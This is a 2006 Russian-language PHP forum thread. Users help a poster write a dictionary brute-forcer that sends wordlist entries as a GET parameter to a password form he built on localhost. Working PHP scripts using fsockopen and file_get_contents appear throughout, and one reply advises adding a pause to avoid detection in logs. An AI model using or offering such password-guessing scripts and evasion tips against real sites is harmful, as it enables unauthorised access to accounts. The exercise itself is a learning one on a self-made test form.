|
|
|
| Привет, кто знает как напсать простой брутер на PHP ? Его задача считывать из txt файла строки, и вставлять их в конец етого URL: http://localhost/bryt/index.php?fraza=
Кажется тута http загловки? напишите плз, хотябы теорию. | |
|
|
|
|
|
|
|
для: ZetRider
(19.01.2006 в 16:37)
| | Создать цикл, в котором будет выбираться строка из файла и при помощи сокетов отправлять запрос. | |
|
|
|
|
|
|
|
для: Саня
(19.01.2006 в 16:52)
| | так, уже чтото... сокеты щас нуна посомтреть) как их есть. | |
|
|
|
|
|
|
|
для: ZetRider
(19.01.2006 в 16:56)
| | Не, так и немогу допереть.. плз хееелп | |
|
|
|
|
|
|
|
для: ZetRider
(19.01.2006 в 21:10)
| | Примерно так:
<?
function GetContentByValue($value)
{
$host = "localhost";
$fp = fsockopen($hostname,80);
if($fp)
{
$headers = "GET /bryt/index.php?fraza=".urlencode($value)." HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Conection: Close\r\n\r\n";
fwrite($fp,$headers);
$content = "";
while(!feof($fp))
$content.= fgets($fp);
fclose($fp);
}
return $content;
}
$wordlist = file("BIG_WORD_LIST.txt");
if($wordlist)
{
foreach($wordlist as $value)
{
echo "---------------------------";
echo GetContentByValue($value);
echo "---------------------------";
}
}
?>
|
| |
|
|
|
|
|
|
|
для: Евгений Петров
(19.01.2006 в 21:35)
| | забыли, сделать паузу, в логах сразу заметять попытку брута. | |
|
|
|
|
|
|
|
для: Akira
(19.01.2006 в 21:44)
| | Если учесть что дело на localhost происходит, то можно не добавлять :) | |
|
|
|
|
|
|
|
для: Евгений Петров
(19.01.2006 в 21:35)
| | млин немогу понять, неработает... в файл правильный ответ ввел это RealPassword, и нечего непроисходит..
форма выглядит так:
<?
$Fraza=htmlspecialchars($Fraza);
if ($fraza=='')
{
echo '
<form action="index.php" method=get>
<input type="text" name="fraza"> <input type="submit" value="GO"></body>
';
}
else
{
if ($fraza=='RealPassword')
{
echo 'Молодец взломал!';
}
else
{
echo '
Попробуйте еще... <a href="index.php">Обратно!</font></a>
';
}
}
?> | |
|
|
|
|
|
|
|
для: ZetRider
(19.01.2006 в 21:53)
| | Попробуйте в моем скрпте строку
echo GetContentByValue($value);
|
поменять на
echo GetContentByValue(trim($value));
|
| |
|
|
|
|
|
|
|
для: Евгений Петров
(19.01.2006 в 22:14)
| | хм.. он НЕ выводит правильный ответ (( он вообще ничего невыводит... кроме
---------------------------
четакое... | |
|
|
|
|
|
|
|
для: ZetRider
(19.01.2006 в 22:24)
| | И всетаки че за глюк... | |
|
|
|
|
|
|
|
для: ZetRider
(20.01.2006 в 11:37)
| | Попробуй так:
<?
$wordlist = file("BIG_WORD_LIST.txt");
if($wordlist)
{
foreach($wordlist as $value)
{
echo "<pre>---------------------------</pre>";
echo "\"".$value."\" => ".file_get_contents("http://localhost/bryt/index.php?fraza=".urlencode(trim($value)));
echo "<pre>---------------------------</pre>";
}
}
?>
|
BID_WORD_LIST.txt - словарь. Каждое слово на новой строке.
У меня работало.
Кстати в форме у вас строка:
$Fraza=htmlspecialchars($Fraza);
|
замените её на
$fraza=htmlspecialchars($fraza);
|
php чувствителен к регистру | |
|
|
|
|
|
|
|
для: Евгений Петров
(20.01.2006 в 16:55)
| | =) снова небольшаю ошибочка вбруте..
Fatal error: Call to undefined function: file_get_contents() in F:\www\bryt\index.php on line 37
вот 37 строка echo "\"".$value."\" => ".file_get_contents("http://localhost/bryt/form/index.php?fraza=".urlencode(trim($value)));
Подскажи плз в чем ошибочка? | |
|
|
|
|
|
|
|
для: ZetRider
(20.01.2006 в 20:48)
| | file_get_contents() - это функция php5, а у вас php4.
<?
function file_get_contents($file) { // Замена file_get_contents в php 4
$fopen = file($file); // открываем файл в масив
$get_file = implode('\n',$fopen); // записываем в строку.
return($get_file); // возврашаем значение
}
?>
|
пропишите куда нибудь повыше. | |
|
|
|
|
|
|
|
для: Akira
(21.01.2006 в 00:59)
| | file_get_contents работает начиная с PHP 4.3.0 | |
|
|
|
|
|
|
|
для: Евгений Петров
(21.01.2006 в 01:23)
| | вот что он выводит, и так какждую строку которая есть в файле) нуна чтобы он вывел тока правильный ответ)
---------------------------
"1 " =>
---------------------------
---------------------------
"2 " =>
--------------------------- | |
|
|
|
|
|
|
|
для: Евгений Петров
(21.01.2006 в 01:23)
| | Точно :) перепутал с file_put_contents :)) | |
|
|
|
|
|
|
|
для: Akira
(21.01.2006 в 03:14)
| | Попроуйте так:
<?
$wordlist = file("BIG_WORD_LIST.txt");
if($wordlist)
{
foreach($wordlist as $value)
{
if(file_get_contents("http://localhost/bryt/index.php?fraza=".urlencode(trim($value))) == "Молодец взломал!")
{
echo $value;
}
}
}
?>
|
| |
|
|
|
|
|
|
|
для: Евгений Петров
(21.01.2006 в 13:00)
| | А у вас он выводит правильный ответ на экран?
У меня сейчас просо пустота. | |
|
|
|
|
|
|
|
для: ZetRider
(21.01.2006 в 13:59)
| | может он неможет подсоединится... | |
|
|
|
|
|
|
|
для: ZetRider
(21.01.2006 в 19:41)
| | У вас php какой? | |
|
|
|
|
|
|
|
для: Евгений Петров
(21.01.2006 в 22:46)
| | Тестирую я на agava.ru бесплатном хосте | |
|
|
|
|
|
|
|
для: ZetRider
(21.01.2006 в 23:24)
| | У них бесполезно что то тестировать. Тестируйте на локальном хосте, только php надо выше 4.3.0. У меня все работало! | |
|
|
|
|
|
|
|
для: Евгений Петров
(22.01.2006 в 00:53)
| | ясно, спасиба! | |
|
|
|